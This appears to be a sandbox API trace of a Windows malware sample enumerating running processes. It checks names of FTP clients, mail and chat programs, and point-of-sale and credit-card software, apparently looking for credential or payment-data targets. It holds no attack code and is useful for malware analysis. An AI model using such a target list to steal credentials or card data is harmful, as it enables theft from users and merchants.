	[0079.743] lstrlenW (lpString="SearchUI.exe") returned 12
	[0079.743] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0079.743] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0079.743] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0079.744] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0079.744] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0079.744] lstrlenW (lpString="fur-hold.exe") returned 12
	[0079.744] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0079.745] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0079.745] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0079.745] lstrlenW (lpString="vat.exe") returned 7
	[0079.745] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0079.746] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0079.746] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0079.746] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0079.746] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0079.747] lstrlenW (lpString="paxiltried.exe") returned 14
	[0079.747] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0079.748] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0079.748] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0079.748] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0079.748] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0079.749] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0079.749] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0079.749] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0079.749] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0079.750] lstrlenW (lpString="ride_australian.exe") returned 19
	[0079.750] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0079.750] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0079.750] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0079.751] lstrlenW (lpString="rc remember.exe") returned 15
	[0079.751] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0079.751] lstrlenW (lpString="records replace.exe") returned 19
	[0079.752] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0079.752] lstrlenW (lpString="isp physiology.exe") returned 18
	[0079.752] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0079.753] lstrlenW (lpString="feb.exe") returned 7
	[0079.753] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0079.753] lstrlenW (lpString="citizenship.exe") returned 15
	[0079.753] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0079.754] lstrlenW (lpString="wifi.exe") returned 8
	[0079.754] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0079.754] lstrlenW (lpString="3dftp.exe") returned 9
	[0079.754] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0079.755] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0079.755] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0079.756] lstrlenW (lpString="alftp.exe") returned 9
	[0079.756] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0079.757] lstrlenW (lpString="barca.exe") returned 9
	[0079.757] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0079.758] lstrlenW (lpString="bitkinex.exe") returned 12
	[0079.758] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0079.759] lstrlenW (lpString="coreftp.exe") returned 11
	[0079.759] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0079.760] lstrlenW (lpString="far.exe") returned 7
	[0079.760] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0079.760] lstrlenW (lpString="filezilla.exe") returned 13
	[0079.761] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0079.761] lstrlenW (lpString="flashfxp.exe") returned 12
	[0079.761] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0079.762] lstrlenW (lpString="fling.exe") returned 9
	[0079.762] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0079.763] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0079.763] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0079.764] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0079.764] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0079.765] lstrlenW (lpString="icq.exe") returned 7
	[0079.765] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0080.317] lstrlenW (lpString="leechftp.exe") returned 12
	[0080.317] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0080.318] lstrlenW (lpString="ncftp.exe") returned 9
	[0080.318] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0080.319] lstrlenW (lpString="notepad.exe") returned 11
	[0080.319] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0080.320] lstrlenW (lpString="operamail.exe") returned 13
	[0080.320] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0080.322] lstrlenW (lpString="pidgin.exe") returned 10
	[0080.322] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0080.323] lstrlenW (lpString="scriptftp.exe") returned 13
	[0080.323] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0080.324] lstrlenW (lpString="skype.exe") returned 9
	[0080.324] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0080.325] lstrlenW (lpString="smartftp.exe") returned 12
	[0080.325] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0080.326] lstrlenW (lpString="thunderbird.exe") returned 15
	[0080.326] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0080.327] lstrlenW (lpString="totalcmd.exe") returned 12
	[0080.327] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0080.328] lstrlenW (lpString="trillian.exe") returned 12
	[0080.328] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0080.329] lstrlenW (lpString="webdrive.exe") returned 12
	[0080.329] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0080.330] lstrlenW (lpString="whatsapp.exe") returned 12
	[0080.330] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0080.330] lstrlenW (lpString="winscp.exe") returned 10
	[0080.330] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0080.331] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0080.331] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0080.332] lstrlenW (lpString="active-charge.exe") returned 17
	[0080.332] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0080.333] lstrlenW (lpString="accupos.exe") returned 11
	[0080.333] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0080.334] lstrlenW (lpString="afr38.exe") returned 9
	[0080.334] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0080.335] lstrlenW (lpString="aldelo.exe") returned 10
	[0080.335] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0080.336] lstrlenW (lpString="ccv_server.exe") returned 14
	[0080.336] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0080.337] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0080.337] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0080.338] lstrlenW (lpString="creditservice.exe") returned 17
	[0080.338] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0080.339] lstrlenW (lpString="edcsvr.exe") returned 10
	[0080.339] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0080.340] lstrlenW (lpString="fpos.exe") returned 8
	[0080.340] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0080.341] lstrlenW (lpString="isspos.exe") returned 10
	[0080.341] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0080.342] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0080.342] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0080.342] lstrlenW (lpString="omnipos.exe") returned 11
	[0080.342] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0080.343] lstrlenW (lpString="spcwin.exe") returned 10
	[0080.343] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0080.344] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0080.344] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0080.345] lstrlenW (lpString="utg2.exe") returned 8
	[0080.345] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0080.345] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0080.345] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0080.347] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0080.347] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0080.348] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0080.348] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0080.349] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0080.349] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0080.350] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0080.350] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0080.351] lstrlenW (lpString="taskhostw.exe") returned 13
